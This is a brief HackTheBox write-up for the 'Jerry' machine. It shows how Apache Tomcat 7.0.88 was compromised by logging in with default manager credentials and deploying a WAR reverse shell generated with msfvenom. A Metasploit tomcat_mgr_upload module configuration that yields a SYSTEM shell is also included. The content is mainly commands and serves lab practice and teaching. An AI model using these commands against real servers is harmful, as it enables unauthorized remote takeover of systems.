Jerry writeup & walkthrough

Jerry is an easy HackTheBox Windows machine running Apache Tomcat 7.0.88 with default credentials (tomcat:s3cret). A malicious WAR file uploaded via the manager panel gives a SYSTEM shell.

HackTheBox - Jerry

Access Path

no access => SYSTEM

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sS -sV -Pn 10.10.10.95
# Open: 8080 (Apache Tomcat 7.0.88)

# Credentials: tomcat:s3cret
# Login to http://10.10.10.95:8080/manager/html

# Generate WAR reverse shell
msfvenom -p java/shell_reverse_tcp lhost=<ip> lport=4444 -f war -o shell.war

# Upload and deploy via Tomcat manager, then trigger via browser

# Metasploit
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 10.10.10.95
set RPORT 8080
set HttpUsername tomcat
set HttpPassword s3cret
exploit
# => NT AUTHORITYSYSTEM

# Flag is at: C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt